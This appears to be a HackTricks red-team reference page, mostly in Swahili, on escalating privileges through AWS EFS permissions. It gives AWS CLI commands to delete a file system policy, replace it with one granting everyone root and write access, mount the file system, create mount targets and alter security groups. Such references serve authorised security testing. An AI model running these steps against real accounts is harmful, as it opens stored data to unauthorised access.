AWS - EFS Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
EFS
Zaidi ya info kuhusu EFS katika:
Kumbuka kwamba ili kuunganisha EFS unahitaji kuwa katika subnetwork ambapo EFS imewekwa wazi na kuwa na ufikiaji kwake (vikundi vya usalama). Ikiwa hii inatokea, kwa kawaida, utaweza kuunganisha kila wakati, hata hivyo, ikiwa inakulindwa na sera za IAM unahitaji kuwa na ruhusa za ziada zilizotajwa hapa ili kuweza kuifikia.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
Kwa ruhusa zozote kati ya hizo mshambuliaji anaweza kubadilisha sera ya mfumo wa faili ili kukupa ufikiaji kwake, au tu kuifuta ili ufikiaji wa kawaida upatikane.
Ili kufuta sera:
aws efs delete-file-system-policy \
--file-system-id <value>
Ili kubadilisha:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Kwa ruhusa hii mshambuliaji ataweza kuunganisha EFS. Ikiwa ruhusa ya kuandika haitolewi kwa default kwa kila mtu anayeweza kuunganisha EFS, atakuwa na ufikiaji wa kusoma tu.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Ruhusa za ziada elasticfilesystem:ClientRootAccess
na elasticfilesystem:ClientWrite
zinaweza kutumika ku andika ndani ya mfumo wa faili baada ya kuunganishwa na ku fikia mfumo huo wa faili kama mzizi.
Athari Zinazoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili.
elasticfilesystem:CreateMountTarget
Ikiwa wewe ni mshambuliaji aliye ndani ya subnetwork ambapo hakuna lengo la kuunganishwa la EFS lililopo. Anaweza tu kuunda moja katika subnet yake kwa ruhusa hii:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili.
elasticfilesystem:ModifyMountTargetSecurityGroups
Katika hali ambapo mshambuliaji anapata kwamba EFS ina lengo la kuunganishwa katika mtandao wake wa ndani lakini hakuna kundi la usalama linaloruhusu trafiki, anaweza tu kubadilisha hilo kwa kubadilisha makundi ya usalama yaliyochaguliwa:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika mfumo wa faili.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.